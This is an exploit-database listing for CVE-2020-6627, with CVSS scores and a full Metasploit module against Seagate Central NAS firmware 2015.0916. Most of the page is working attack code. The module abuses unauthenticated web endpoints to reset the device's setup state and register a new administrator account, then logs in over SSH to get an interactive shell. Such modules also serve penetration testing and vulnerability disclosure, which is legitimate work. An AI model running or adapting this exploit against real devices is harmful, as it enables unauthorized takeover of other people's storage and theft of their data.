Lucene search

K
zdtEge Balci1337DAY-ID-38736
HistoryMay 26, 2023 - 12:00 a.m.

Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution Exploit

2023-05-2600:00:00
Ege Balci
0day.today
219
seagate central
command execution
metasploit
external nas
broken access control
ssh
unix
vulnerability
cve 2020-6627

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.055

Percentile

93.3%

##
# Exploit Title: Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)
# Date: Dec 9 2019
# Exploit Author: Ege Balci
# Vendor Homepage: https://www.seagate.com/de/de/support/external-hard-drives/network-storage/seagate-central/
# Version: 2015.0916
# CVE : 2020-6627

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/http'
require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Seagate Central External NAS Arbitrary User Creation",
      'Description'    => %q{
        This module exploits the broken access control vulnerability in Seagate Central External NAS Storage device.
        Subject product suffers several critical vulnerabilities such as broken access control. It makes it possible to change the device state
        and register a new admin user which is capable of SSH access.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Ege Balcฤฑ <[emailย protected]>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/advisory-seagate-central-storage-remote-code-execution/'],
          ['CVE', '2020-6627']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => false,
          'WfsDelay' => 5,
        },
      'Platform'       => ['unix'],
      'Arch'           => [ARCH_CMD],
      'Payload'        =>
      {
        'Compat' => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find'
        }
      },
      'Targets'        =>
        [
          ['Auto',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD
            }
          ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Dec 9 2019",
      'DefaultTarget'  => 0
    ))


    register_options(
      [
        OptString.new('USER', [ true, 'Seagate Central SSH user', '']),
        OptString.new('PASS', [ true, 'Seagate Central SSH user password', ''])
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )

  end

  def check
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/get_firmware"),
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      }
    },60)

    if res && res.body.include?('Cirrus NAS') && res.body.include?('2015.0916')
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit

    # First get current state
    first_state=get_state()
    if first_state
      print_status("Current device state: #{first_state['state']}")
    else
      return
    end

    if first_state['state'] != 'start'
      # Set new start state
      first_state['state'] = 'start'
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path,'/index.php/Start/set_start_info'),
        'ctype' => 'application/x-www-form-urlencoded',
        'data'  => "info=#{first_state.to_json}"
      },60)

      changed_state=get_state()
      if changed_state && changed_state['state'] == 'start'
        print_good("State successfully changed !")
      else
        print_error("Could not change device state")
        return
      end
    end

    name = Rex::Text.rand_name_male
    user = datastore['USER'] || "#{Rex::Text.rand_name_male}{rand(1..9999).to_s}"
    pass = datastore['PASS'] || Rex::Text.rand_text_alpha(8)

    print_status('Creating new admin user...')
    print_status("User: #{user}")
    print_status("Pass: #{pass}")

    # Add new admin user
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/add_edit_user"),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {user: JSON.dump({user: user, fullname: name, pwd: pass, email: "#{name}@localhost", isAdmin: true, uid: -1}), action: 1}
    },60)


    conn = do_login(user,pass)
    if conn
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
      handler(conn.lsock)
    end

  end



  def do_login(user, pass)
    factory = ssh_socket_factory
    opts = {
      :auth_methods    => ['password', 'keyboard-interactive'],
      :port            => 22,
      :use_agent       => false,
      :config          => false,
      :password        => pass,
      :proxy           => factory,
      :non_interactive => true,
      :verify_host_key => :never
    }

    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      fail_with Failure::Unreachable, 'Connection failed'
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      ssh = nil
      return conn
    end

    return nil
  end

  def get_state
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/json_get_start_info"),
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      }
    },60)

    if res && (res.code == 200 ||res.code == 100)
      return res.get_json_document
    end
    res = nil
  end
end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.055

Percentile

93.3%